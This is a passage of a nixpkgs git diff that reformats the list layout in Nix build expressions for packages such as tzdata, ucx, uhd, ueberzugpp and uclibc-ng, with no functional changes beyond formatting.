+    substituteInPlace Makefile.mac --replace '.git/HEAD .git/index' ' '
+    substituteInPlace Makefile.mac --replace '/usr/local/lib/libtoxcore.a' '${libtoxcore}/lib/libtoxcore.a'
+    substituteInPlace Makefile.mac --replace '/usr/local/lib/libsodium.a' '${libsodium}/lib/libsodium.dylib'
+    substituteInPlace Makefile.mac --replace 'CC=gcc' ' '
+  '';
 
   buildPhase =
     ''''
diff --git a/pkgs/by-name/tu/turbo-unwrapped/package.nix b/pkgs/by-name/tu/turbo-unwrapped/package.nix
index d292358f1dd0..c0811f8bc55a 100644
--- a/pkgs/by-name/tu/turbo-unwrapped/package.nix
+++ b/pkgs/by-name/tu/turbo-unwrapped/package.nix
@@ -30,16 +30,15 @@ rustPlatform.buildRustPackage (finalAttrs: {
   useFetchCargoVendor = true;
   cargoHash = "sha256-zEkpWu/L5plFCnvliAtfu19ljB4pnrEesVQZOycOKRk=";
 
-  nativeBuildInputs =
-    [
-      capnproto
-      extra-cmake-modules
-      installShellFiles
-      pkg-config
-      protobuf
-    ]
-    # https://github.com/vercel/turbo/blob/ea740706e0592b3906ab34c7cfa1768daafc2a84/CONTRIBUTING.md#linux-dependencies
-    ++ lib.optional stdenv.hostPlatform.isLinux llvmPackages.bintools;
+  nativeBuildInputs = [
+    capnproto
+    extra-cmake-modules
+    installShellFiles
+    pkg-config
+    protobuf
+  ]
+  # https://github.com/vercel/turbo/blob/ea740706e0592b3906ab34c7cfa1768daafc2a84/CONTRIBUTING.md#linux-dependencies
+  ++ lib.optional stdenv.hostPlatform.isLinux llvmPackages.bintools;
 
   buildInputs = [
     fontconfig
diff --git a/pkgs/by-name/tu/turtle/package.nix b/pkgs/by-name/tu/turtle/package.nix
index 77a4e279558e..abd956072602 100644
--- a/pkgs/by-name/tu/turtle/package.nix
+++ b/pkgs/by-name/tu/turtle/package.nix
@@ -53,21 +53,20 @@ python3Packages.buildPythonApplication rec {
   # to get $program_PYTHONPATH
   dontWrapPythonPrograms = true;
 
-  postFixup =
-    ''
-      makeWrapperArgs+=(''${gappsWrapperArgs[@]})
-      wrapPythonPrograms
-    ''
-    # Dialogs are not imported, but executed. The same does
-    # nautilus-python plugins. So we need to patch them as well.
-    + ''
-      for dialog_scripts in $out/lib/python*/site-packages/turtlevcs/dialogs/*.py; do
-        patchPythonScript $dialog_scripts
-      done
-      for nautilus_extensions in $out/share/nautilus-python/extensions/*.py; do
-        patchPythonScript $nautilus_extensions
-      done
-    '';
+  postFixup = ''
+    makeWrapperArgs+=(''${gappsWrapperArgs[@]})
+    wrapPythonPrograms
+  ''
+  # Dialogs are not imported, but executed. The same does
+  # nautilus-python plugins. So we need to patch them as well.
+  + ''
+    for dialog_scripts in $out/lib/python*/site-packages/turtlevcs/dialogs/*.py; do
+      patchPythonScript $dialog_scripts
+    done
+    for nautilus_extensions in $out/share/nautilus-python/extensions/*.py; do
+      patchPythonScript $nautilus_extensions
+    done
+  '';
 
   meta = {
     description = "Graphical interface for version control intended to run on gnome and nautilus";
diff --git a/pkgs/by-name/ty/typst/typst-packages.nix b/pkgs/by-name/ty/typst/typst-packages.nix
index 5d5cb8cafbdf..6a460aafb80f 100644
--- a/pkgs/by-name/ty/typst/typst-packages.nix
+++ b/pkgs/by-name/ty/typst/typst-packages.nix
@@ -39,7 +39,8 @@ lib.makeExtensible (
                 inherit (packageSpec) description;
                 maintainers = with lib.maintainers; [ cherrypiejam ];
                 license = lib.map (lib.flip lib.getAttr lib.licensesSpdx) packageSpec.license;
-              } // (if packageSpec ? "homepage" then { inherit (packageSpec) homepage; } else { });
+              }
+              // (if packageSpec ? "homepage" then { inherit (packageSpec) homepage; } else { });
             })
           ) { };
         }
diff --git a/pkgs/by-name/tz/tzdata/package.nix b/pkgs/by-name/tz/tzdata/package.nix
index 8b50de33d89a..d88381cd0ab7 100644
--- a/pkgs/by-name/tz/tzdata/package.nix
+++ b/pkgs/by-name/tz/tzdata/package.nix
@@ -35,36 +35,35 @@ stdenv.mkDerivation (finalAttrs: {
   ];
   propagatedBuildOutputs = [ ];
 
-  makeFlags =
-    [
-      "TOPDIR=${placeholder "out"}"
-      "TZDIR=${placeholder "out"}/share/zoneinfo"
-      "BINDIR=${placeholder "bin"}/bin"
-      "ZICDIR=${placeholder "bin"}/bin"
-      "ETCDIR=$(TMPDIR)/etc"
-      "TZDEFAULT=tzdefault-to-remove"
-      "LIBDIR=${placeholder "dev"}/lib"
-      "MANDIR=${placeholder "man"}/share/man"
-      "AWK=awk"
-      "CURL=:" # disable network access
-      "CFLAGS=-DHAVE_LINK=0"
-      "CFLAGS+=-DZIC_BLOAT_DEFAULT=\\\"fat\\\""
-      "cc=${stdenv.cc.targetPrefix}cc"
-      "AR=${stdenv.cc.targetPrefix}ar"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isWindows [
-      "CFLAGS+=-DHAVE_DIRECT_H"
-      "CFLAGS+=-DHAVE_SETENV=0"
-      "CFLAGS+=-DHAVE_SYMLINK=0"
-      "CFLAGS+=-DRESERVE_STD_EXT_IDS"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
-      "CFLAGS+=-DNETBSD_INSPIRED=0"
-      "CFLAGS+=-DSTD_INSPIRED=0"
-      "CFLAGS+=-DUSE_TIMEX_T=1"
-      "CFLAGS+=-DMKTIME_FITS_IN\\(min,max\\)=0"
-      "CFLAGS+=-DEXTERN_TIMEOFF=1"
-    ];
+  makeFlags = [
+    "TOPDIR=${placeholder "out"}"
+    "TZDIR=${placeholder "out"}/share/zoneinfo"
+    "BINDIR=${placeholder "bin"}/bin"
+    "ZICDIR=${placeholder "bin"}/bin"
+    "ETCDIR=$(TMPDIR)/etc"
+    "TZDEFAULT=tzdefault-to-remove"
+    "LIBDIR=${placeholder "dev"}/lib"
+    "MANDIR=${placeholder "man"}/share/man"
+    "AWK=awk"
+    "CURL=:" # disable network access
+    "CFLAGS=-DHAVE_LINK=0"
+    "CFLAGS+=-DZIC_BLOAT_DEFAULT=\\\"fat\\\""
+    "cc=${stdenv.cc.targetPrefix}cc"
+    "AR=${stdenv.cc.targetPrefix}ar"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isWindows [
+    "CFLAGS+=-DHAVE_DIRECT_H"
+    "CFLAGS+=-DHAVE_SETENV=0"
+    "CFLAGS+=-DHAVE_SYMLINK=0"
+    "CFLAGS+=-DRESERVE_STD_EXT_IDS"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
+    "CFLAGS+=-DNETBSD_INSPIRED=0"
+    "CFLAGS+=-DSTD_INSPIRED=0"
+    "CFLAGS+=-DUSE_TIMEX_T=1"
+    "CFLAGS+=-DMKTIME_FITS_IN\\(min,max\\)=0"
+    "CFLAGS+=-DEXTERN_TIMEOFF=1"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/uc/ucc/package.nix b/pkgs/by-name/uc/ucc/package.nix
index 52037b5c7267..7131f2edf5fa 100644
--- a/pkgs/by-name/uc/ucc/package.nix
+++ b/pkgs/by-name/uc/ucc/package.nix
@@ -70,16 +70,18 @@ effectiveStdenv.mkDerivation (finalAttrs: {
     autoconf
     automake
     libtool
-  ] ++ optionals enableCuda [ cuda_nvcc ];
+  ]
+  ++ optionals enableCuda [ cuda_nvcc ];
 
-  buildInputs =
-    [ ucx ]
-    ++ optionals enableCuda [
-      cuda_cccl
-      cuda_cudart
-      cuda_nvml_dev
-      nccl
-    ];
+  buildInputs = [
+    ucx
+  ]
+  ++ optionals enableCuda [
+    cuda_cccl
+    cuda_cudart
+    cuda_nvml_dev
+    nccl
+  ];
 
   # NOTE: With `__structuredAttrs` enabled, `LDFLAGS` must be set under `env` so it is assured to be a string;
   # otherwise, we might have forgotten to convert it to a string and Nix would make LDFLAGS a shell variable
diff --git a/pkgs/by-name/uc/uclibc-ng/package.nix b/pkgs/by-name/uc/uclibc-ng/package.nix
index e733701f5e62..40bfcf94a53c 100644
--- a/pkgs/by-name/uc/uclibc-ng/package.nix
+++ b/pkgs/by-name/uc/uclibc-ng/package.nix
@@ -36,31 +36,30 @@ let
   '';
 
   # UCLIBC_SUSV4_LEGACY defines 'tmpnam', needed for gcc libstdc++ builds.
-  nixConfig =
-    ''
-      RUNTIME_PREFIX "/"
-      DEVEL_PREFIX "/"
-      UCLIBC_HAS_WCHAR y
-      UCLIBC_HAS_FTW y
-      UCLIBC_HAS_RPC y
-      DO_C99_MATH y
-      UCLIBC_HAS_PROGRAM_INVOCATION_NAME y
-      UCLIBC_HAS_RESOLVER_SUPPORT y
-      UCLIBC_SUSV4_LEGACY y
-      UCLIBC_HAS_THREADS_NATIVE y
-      KERNEL_HEADERS "${linuxHeaders}/include"
-    ''
-    + lib.optionalString (stdenv.hostPlatform.gcc.float or "" == "soft") ''
-      UCLIBC_HAS_FPU n
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isAarch32 && isCross) ''
-      CONFIG_ARM_EABI y
-      ARCH_WANTS_BIG_ENDIAN n
-      ARCH_BIG_ENDIAN n
-      ARCH_WANTS_LITTLE_ENDIAN y
-      ARCH_LITTLE_ENDIAN y
-      UCLIBC_HAS_FPU n
-    '';
+  nixConfig = ''
+    RUNTIME_PREFIX "/"
+    DEVEL_PREFIX "/"
+    UCLIBC_HAS_WCHAR y
+    UCLIBC_HAS_FTW y
+    UCLIBC_HAS_RPC y
+    DO_C99_MATH y
+    UCLIBC_HAS_PROGRAM_INVOCATION_NAME y
+    UCLIBC_HAS_RESOLVER_SUPPORT y
+    UCLIBC_SUSV4_LEGACY y
+    UCLIBC_HAS_THREADS_NATIVE y
+    KERNEL_HEADERS "${linuxHeaders}/include"
+  ''
+  + lib.optionalString (stdenv.hostPlatform.gcc.float or "" == "soft") ''
+    UCLIBC_HAS_FPU n
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isAarch32 && isCross) ''
+    CONFIG_ARM_EABI y
+    ARCH_WANTS_BIG_ENDIAN n
+    ARCH_BIG_ENDIAN n
+    ARCH_WANTS_LITTLE_ENDIAN y
+    ARCH_LITTLE_ENDIAN y
+    UCLIBC_HAS_FPU n
+  '';
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "uclibc-ng";
@@ -90,15 +89,14 @@ stdenv.mkDerivation (finalAttrs: {
 
   depsBuildBuild = [ buildPackages.stdenv.cc ];
 
-  makeFlags =
-    [
-      "ARCH=${stdenv.hostPlatform.linuxArch}"
-      "TARGET_ARCH=${stdenv.hostPlatform.linuxArch}"
-      "VERBOSE=1"
-    ]
-    ++ lib.optionals (isCross) [
-      "CROSS=${stdenv.cc.targetPrefix}"
-    ];
+  makeFlags = [
+    "ARCH=${stdenv.hostPlatform.linuxArch}"
+    "TARGET_ARCH=${stdenv.hostPlatform.linuxArch}"
+    "VERBOSE=1"
+  ]
+  ++ lib.optionals (isCross) [
+    "CROSS=${stdenv.cc.targetPrefix}"
+  ];
 
   # `make libpthread/nptl/sysdeps/unix/sysv/linux/lowlevelrwlock.h`:
   # error: bits/sysnum.h: No such file or directory
diff --git a/pkgs/by-name/uc/ucx/package.nix b/pkgs/by-name/uc/ucx/package.nix
index 120bdea332eb..a2df302dd232 100644
--- a/pkgs/by-name/uc/ucx/package.nix
+++ b/pkgs/by-name/uc/ucx/package.nix
@@ -53,48 +53,45 @@ stdenv'.mkDerivation rec {
     "dev"
   ];
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      doxygen
-      pkg-config
-    ]
-    ++ lib.optionals enableCuda [
-      cudaPackages.cuda_nvcc
-      autoAddDriverRunpath
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    doxygen
+    pkg-config
+  ]
+  ++ lib.optionals enableCuda [
+    cudaPackages.cuda_nvcc
+    autoAddDriverRunpath
+  ];
 
-  buildInputs =
-    [
-      libbfd
-      libiberty
-      numactl
-      perl
-      rdma-core
-      zlib
-    ]
-    ++ lib.optionals enableCuda [
-      cudaPackages.cuda_cudart
-      cudaPackages.cuda_nvml_dev
+  buildInputs = [
+    libbfd
+    libiberty
+    numactl
+    perl
+    rdma-core
+    zlib
+  ]
+  ++ lib.optionals enableCuda [
+    cudaPackages.cuda_cudart
+    cudaPackages.cuda_nvml_dev
 
-    ]
-    ++ lib.optionals enableRocm rocmList;
+  ]
+  ++ lib.optionals enableRocm rocmList;
 
   LDFLAGS = lib.optionals enableCuda [
     # Fake libnvidia-ml.so (the real one is deployed impurely)
     "-L${lib.getLib cudaPackages.cuda_nvml_dev}/lib/stubs"
   ];
 
-  configureFlags =
-    [
-      "--with-rdmacm=${lib.getDev rdma-core}"
-      "--with-dc"
-      "--with-rc"
-      "--with-dm"
-      "--with-verbs=${lib.getDev rdma-core}"
-    ]
-    ++ lib.optionals enableCuda [ "--with-cuda=${cudaPackages.cuda_cudart}" ]
-    ++ lib.optional enableRocm "--with-rocm=${rocm}";
+  configureFlags = [
+    "--with-rdmacm=${lib.getDev rdma-core}"
+    "--with-dc"
+    "--with-rc"
+    "--with-dm"
+    "--with-verbs=${lib.getDev rdma-core}"
+  ]
+  ++ lib.optionals enableCuda [ "--with-cuda=${cudaPackages.cuda_cudart}" ]
+  ++ lib.optional enableRocm "--with-rocm=${rocm}";
 
   postInstall = ''
     find $out/lib/ -name "*.la" -exec rm -f \{} \;
diff --git a/pkgs/by-name/ue/ueberzugpp/package.nix b/pkgs/by-name/ue/ueberzugpp/package.nix
index 6d44c5905b93..c68be43e168a 100644
--- a/pkgs/by-name/ue/ueberzugpp/package.nix
+++ b/pkgs/by-name/ue/ueberzugpp/package.nix
@@ -43,45 +43,43 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals enableWayland [
-      wayland-scanner
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals enableWayland [
+    wayland-scanner
+  ];
 
-  buildInputs =
-    [
-      openssl
-      zeromq
-      cppzmq
-      tbb_2021_11
-      spdlog
-      libsodium
-      fmt
-      vips
-      nlohmann_json
-      libsixel
-      microsoft-gsl
-      chafa
-      cli11
-      libexif
-      range-v3
-    ]
-    ++ lib.optionals enableOpencv [
-      opencv
-    ]
-    ++ lib.optionals enableWayland [
-      extra-cmake-modules
-      wayland
-      wayland-protocols
-    ]
-    ++ lib.optionals enableX11 [
-      xorg.libX11
-      xorg.xcbutilimage
-    ];
+  buildInputs = [
+    openssl
+    zeromq
+    cppzmq
+    tbb_2021_11
+    spdlog
+    libsodium
+    fmt
+    vips
+    nlohmann_json
+    libsixel
+    microsoft-gsl
+    chafa
+    cli11
+    libexif
+    range-v3
+  ]
+  ++ lib.optionals enableOpencv [
+    opencv
+  ]
+  ++ lib.optionals enableWayland [
+    extra-cmake-modules
+    wayland
+    wayland-protocols
+  ]
+  ++ lib.optionals enableX11 [
+    xorg.libX11
+    xorg.xcbutilimage
+  ];
 
   cmakeFlags =
     lib.optionals (!enableOpencv) [
diff --git a/pkgs/by-name/ue/ueviewer/package.nix b/pkgs/by-name/ue/ueviewer/package.nix
index 510184096cab..629a7cd64b62 100644
--- a/pkgs/by-name/ue/ueviewer/package.nix
+++ b/pkgs/by-name/ue/ueviewer/package.nix
@@ -58,16 +58,15 @@ gccStdenv.mkDerivation (finalAttrs: {
     perl
   ];
 
-  buildInputs =
-    [
-      libpng
-      zlib
-    ]
-    ++ lib.optionals (!gccStdenv.hostPlatform.isDarwin) [
-      libGL
-      libX11
-      SDL2
-    ];
+  buildInputs = [
+    libpng
+    zlib
+  ]
+  ++ lib.optionals (!gccStdenv.hostPlatform.isDarwin) [
+    libGL
+    libX11
+    SDL2
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/uf/ufoai/package.nix b/pkgs/by-name/uf/ufoai/package.nix
index 54097f40af11..6335501d0fb9 100644
--- a/pkgs/by-name/uf/ufoai/package.nix
+++ b/pkgs/by-name/uf/ufoai/package.nix
@@ -42,7 +42,8 @@ stdenv.mkDerivation rec {
   configureFlags = [
     "--enable-release"
     "--enable-sse"
-  ] ++ lib.optional enableEditor "--enable-uforadiant";
+  ]
+  ++ lib.optional enableEditor "--enable-uforadiant";
 
   buildInputs = [
     libtheora
diff --git a/pkgs/by-name/uf/uftrace/package.nix b/pkgs/by-name/uf/uftrace/package.nix
index 9dd614f7b422..c338d048f6a7 100644
--- a/pkgs/by-name/uf/uftrace/package.nix
+++ b/pkgs/by-name/uf/uftrace/package.nix
@@ -29,15 +29,14 @@ stdenv.mkDerivation rec {
     pkg-config
     pandoc
   ];
-  buildInputs =
-    [
-      capstone
-      elfutils
-      libtraceevent
-      ncurses
-    ]
-    ++ lib.optional withLuaJIT luajit
-    ++ lib.optional withPython python3;
+  buildInputs = [
+    capstone
+    elfutils
+    libtraceevent
+    ncurses
+  ]
+  ++ lib.optional withLuaJIT luajit
+  ++ lib.optional withPython python3;
 
   # libmcount.so dlopens python and luajit, make sure they're in the RUNPATH
   preBuild =
diff --git a/pkgs/by-name/ug/uget/package.nix b/pkgs/by-name/ug/uget/package.nix
index 3c46d5741cef..addbf6e1278e 100644
--- a/pkgs/by-name/ug/uget/package.nix
+++ b/pkgs/by-name/ug/uget/package.nix
@@ -39,21 +39,20 @@ stdenv.mkDerivation rec {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      openssl
-      curl
-      libnotify
-      libappindicator-gtk3
-      gtk3
-      (lib.getLib dconf)
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-    ])
-    ++ (lib.optional aria2Support aria2);
+  buildInputs = [
+    openssl
+    curl
+    libnotify
+    libappindicator-gtk3
+    gtk3
+    (lib.getLib dconf)
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+  ])
+  ++ (lib.optional aria2Support aria2);
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/uh/uhd/package.nix b/pkgs/by-name/uh/uhd/package.nix
index 6ff0c16a3106..a21c20e92f00 100644
--- a/pkgs/by-name/uh/uhd/package.nix
+++ b/pkgs/by-name/uh/uhd/package.nix
@@ -98,58 +98,57 @@ stdenv.mkDerivation (finalAttrs: {
     ];
   };
 
-  cmakeFlags =
-    [
-      "-DENABLE_LIBUHD=ON"
-      "-DENABLE_USB=ON"
-      # Regardless of doCheck, we want to build the tests to help us gain
-      # confident that the package is OK.
-      "-DENABLE_TESTS=ON"
-      (cmakeBool "ENABLE_EXAMPLES" enableExamples)
-      (cmakeBool "ENABLE_UTILS" enableUtils)
-      (cmakeBool "ENABLE_C_API" enableCApi)
-      (cmakeBool "ENABLE_PYTHON_API" enablePythonApi)
-      /*
-        Otherwise python tests fail. Using a dedicated pythonEnv for either or both
-        nativeBuildInputs and buildInputs makes upstream's cmake scripts fail to
-        install the Python API as reported on our end at [1] (we don't want
-        upstream to think we are in a virtual environment because we use
-        python3.withPackages...).
+  cmakeFlags = [
+    "-DENABLE_LIBUHD=ON"
+    "-DENABLE_USB=ON"
+    # Regardless of doCheck, we want to build the tests to help us gain
+    # confident that the package is OK.
+    "-DENABLE_TESTS=ON"
+    (cmakeBool "ENABLE_EXAMPLES" enableExamples)
+    (cmakeBool "ENABLE_UTILS" enableUtils)
+    (cmakeBool "ENABLE_C_API" enableCApi)
+    (cmakeBool "ENABLE_PYTHON_API" enablePythonApi)
+    /*
+      Otherwise python tests fail. Using a dedicated pythonEnv for either or both
+      nativeBuildInputs and buildInputs makes upstream's cmake scripts fail to
+      install the Python API as reported on our end at [1] (we don't want
+      upstream to think we are in a virtual environment because we use
+      python3.withPackages...).
 
-        Putting simply the python dependencies in the nativeBuildInputs and
-        buildInputs as they are now from some reason makes the `python` in the
-        checkPhase fail to find the python dependencies, as reported at [2]. Even
-        using nativeCheckInputs with the python dependencies, or using a
-        `python3.withPackages` wrapper in nativeCheckInputs, doesn't help, as the
-        `python` found in $PATH first is the one from nativeBuildInputs.
+      Putting simply the python dependencies in the nativeBuildInputs and
+      buildInputs as they are now from some reason makes the `python` in the
+      checkPhase fail to find the python dependencies, as reported at [2]. Even
+      using nativeCheckInputs with the python dependencies, or using a
+      `python3.withPackages` wrapper in nativeCheckInputs, doesn't help, as the
+      `python` found in $PATH first is the one from nativeBuildInputs.
 
-        [1]: https://github.com/NixOS/nixpkgs/pull/307435
-        [2]: https://discourse.nixos.org/t/missing-python-package-in-checkphase/9168/
+      [1]: https://github.com/NixOS/nixpkgs/pull/307435
+      [2]: https://discourse.nixos.org/t/missing-python-package-in-checkphase/9168/
 
-        Hence we use upstream's provided cmake flag to control which python
-        interpreter they will use to run the the python tests.
-      */
-      "-DRUNTIME_PYTHON_EXECUTABLE=${lib.getExe finalAttrs.passthru.runtimePython}"
-      (cmakeBool "ENABLE_DPDK" enableDpdk)
-      # Devices
-      (cmakeBool "ENABLE_OCTOCLOCK" enableOctoClock)
-      (cmakeBool "ENABLE_MPMD" enableMpmd)
-      (cmakeBool "ENABLE_B100" enableB100)
-      (cmakeBool "ENABLE_B200" enableB200)
-      (cmakeBool "ENABLE_USRP1" enableUsrp1)
-      (cmakeBool "ENABLE_USRP2" enableUsrp2)
-      (cmakeBool "ENABLE_X300" enableX300)
-      (cmakeBool "ENABLE_N300" enableN300)
-      (cmakeBool "ENABLE_N320" enableN320)
-      (cmakeBool "ENABLE_E300" enableE300)
-      (cmakeBool "ENABLE_E320" enableE320)
-      # TODO: Check if this still needed
-      # ABI differences GCC 7.1
-      # /nix/store/wd6r25miqbk9ia53pp669gn4wrg9n9cj-gcc-7.3.0/include/c++/7.3.0/bits/vector.tcc:394:7: note: parameter passing for argument of type 'std::vector<uhd::range_t>::iterator {aka __gnu_cxx::__normal_iterator<uhd::range_t*, std::vector<uhd::range_t> >}' changed in GCC 7.1
-    ]
-    ++ optionals stdenv.hostPlatform.isAarch32 [
-      "-DCMAKE_CXX_FLAGS=-Wno-psabi"
-    ];
+      Hence we use upstream's provided cmake flag to control which python
+      interpreter they will use to run the the python tests.
+    */
+    "-DRUNTIME_PYTHON_EXECUTABLE=${lib.getExe finalAttrs.passthru.runtimePython}"
+    (cmakeBool "ENABLE_DPDK" enableDpdk)
+    # Devices
+    (cmakeBool "ENABLE_OCTOCLOCK" enableOctoClock)
+    (cmakeBool "ENABLE_MPMD" enableMpmd)
+    (cmakeBool "ENABLE_B100" enableB100)
+    (cmakeBool "ENABLE_B200" enableB200)
+    (cmakeBool "ENABLE_USRP1" enableUsrp1)
+    (cmakeBool "ENABLE_USRP2" enableUsrp2)
+    (cmakeBool "ENABLE_X300" enableX300)
+    (cmakeBool "ENABLE_N300" enableN300)
+    (cmakeBool "ENABLE_N320" enableN320)
+    (cmakeBool "ENABLE_E300" enableE300)
+    (cmakeBool "ENABLE_E320" enableE320)
+    # TODO: Check if this still needed
+    # ABI differences GCC 7.1
+    # /nix/store/wd6r25miqbk9ia53pp669gn4wrg9n9cj-gcc-7.3.0/include/c++/7.3.0/bits/vector.tcc:394:7: note: parameter passing for argument of type 'std::vector<uhd::range_t>::iterator {aka __gnu_cxx::__normal_iterator<uhd::range_t*, std::vector<uhd::range_t> >}' changed in GCC 7.1
+  ]
+  ++ optionals stdenv.hostPlatform.isAarch32 [
+    "-DCMAKE_CXX_FLAGS=-Wno-psabi"
+  ];
 
   nativeBuildInputs = [
     cmake
@@ -202,14 +201,13 @@ stdenv.mkDerivation (finalAttrs: {
     ./no-adapter-tests.patch
   ];
 
-  postPhases =
-    [
-      "installFirmware"
-      "removeInstalledTests"
-    ]
-    ++ optionals (enableUtils && stdenv.hostPlatform.isLinux) [
-      "moveUdevRules"
-    ];
+  postPhases = [
+    "installFirmware"
+    "removeInstalledTests"
+  ]
+  ++ optionals (enableUtils && stdenv.hostPlatform.isLinux) [
+    "moveUdevRules"
+  ];
 
   # UHD expects images in `$CMAKE_INSTALL_PREFIX/share/uhd/images`
   installFirmware = ''
diff --git a/pkgs/by-name/uh/uhttpmock/package.nix b/pkgs/by-name/uh/uhttpmock/package.nix
index 191347e72259..92d4fa62a5ac 100644
--- a/pkgs/by-name/uh/uhttpmock/package.nix
+++ b/pkgs/by-name/uh/uhttpmock/package.nix
@@ -33,19 +33,18 @@ stdenv.mkDerivation rec {
   };
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gobject-introspection
-      vala
-      gtk-doc
-      docbook-xsl-nons
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gobject-introspection
+    vala
+    gtk-doc
+    docbook-xsl-nons
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/uh/uhttpmock_1_0/package.nix b/pkgs/by-name/uh/uhttpmock_1_0/package.nix
index 154d9db47da8..48ccc86d5690 100644
--- a/pkgs/by-name/uh/uhttpmock_1_0/package.nix
+++ b/pkgs/by-name/uh/uhttpmock_1_0/package.nix
@@ -34,19 +34,18 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gobject-introspection
-      vala
-      gtk-doc
-      docbook-xsl-nons
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gobject-introspection
+    vala
+    gtk-doc
+    docbook-xsl-nons
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   propagatedBuildInputs = [
     glib
diff --git a/pkgs/by-name/uh/uhub/package.nix b/pkgs/by-name/uh/uhub/package.nix
index 5880c7bd0651..1818b724c140 100644
--- a/pkgs/by-name/uh/uhub/package.nix
+++ b/pkgs/by-name/uh/uhub/package.nix
@@ -30,7 +30,8 @@ stdenv.mkDerivation {
   buildInputs = [
     sqlite
     systemd
-  ] ++ lib.optional tlsSupport openssl;
+  ]
+  ++ lib.optional tlsSupport openssl;
 
   postPatch = ''
     substituteInPlace CMakeLists.txt \
diff --git a/pkgs/by-name/ui/uiua/package.nix b/pkgs/by-name/ui/uiua/package.nix
index c3de58883051..6123b2bd100c 100644
--- a/pkgs/by-name/ui/uiua/package.nix
+++ b/pkgs/by-name/ui/uiua/package.nix
@@ -45,15 +45,17 @@ rustPlatform.buildRustPackage (finalAttrs: {
     lib.optionals (webcamSupport || stdenv.hostPlatform.isDarwin) [ rustPlatform.bindgenHook ]
     ++ lib.optionals audioSupport [ pkg-config ];
 
-  buildInputs =
-    [ libffi ] # we force dynamic linking our own libffi below
-    ++ lib.optionals (audioSupport && stdenv.hostPlatform.isLinux) [ alsa-lib ];
+  buildInputs = [
+    libffi
+  ] # we force dynamic linking our own libffi below
+  ++ lib.optionals (audioSupport && stdenv.hostPlatform.isLinux) [ alsa-lib ];
 
-  buildFeatures =
-    [ "libffi/system" ] # force libffi to be linked dynamically instead of rebuilding it
-    ++ lib.optional audioSupport "audio"
-    ++ lib.optional webcamSupport "webcam"
-    ++ lib.optional windowSupport "window";
+  buildFeatures = [
+    "libffi/system"
+  ] # force libffi to be linked dynamically instead of rebuilding it
+  ++ lib.optional audioSupport "audio"
+  ++ lib.optional webcamSupport "webcam"
+  ++ lib.optional windowSupport "window";
 
   postFixup =
     let
diff --git a/pkgs/by-name/ul/ultrastardx/package.nix b/pkgs/by-name/ul/ultrastardx/package.nix
index d16855befab9..e6fefd68f369 100644
--- a/pkgs/by-name/ul/ultrastardx/package.nix
+++ b/pkgs/by-name/ul/ultrastardx/package.nix
@@ -61,7 +61,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     fpc
     libpng
-  ] ++ sharedLibs;
+  ]
+  ++ sharedLibs;
 
   preBuild =
     let
diff --git a/pkgs/by-name/um/umockdev/package.nix b/pkgs/by-name/um/umockdev/package.nix
index 2c56857f401c..ae00af50d2eb 100644
--- a/pkgs/by-name/um/umockdev/package.nix
+++ b/pkgs/by-name/um/umockdev/package.nix
@@ -49,19 +49,18 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      docbook-xsl-nons
-      gobject-introspection
-      gtk-doc
-      meson
-      ninja
-      pkg-config
-      vala
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    docbook-xsl-nons
+    gobject-introspection
+    gtk-doc
+    meson
+    ninja
+    pkg-config
+    vala
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/um/umpire/package.nix b/pkgs/by-name/um/umpire/package.nix
index 3ae60b57ea0e..e86989580158 100644
--- a/pkgs/by-name/um/umpire/package.nix
+++ b/pkgs/by-name/um/umpire/package.nix
@@ -22,13 +22,12 @@ stdenv.mkDerivation rec {
     fetchSubmodules = true;
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+  ];
 
   buildInputs = lib.optionals cudaSupport (
     with cudaPackages;
diff --git a/pkgs/by-name/un/unbound/package.nix b/pkgs/by-name/un/unbound/package.nix
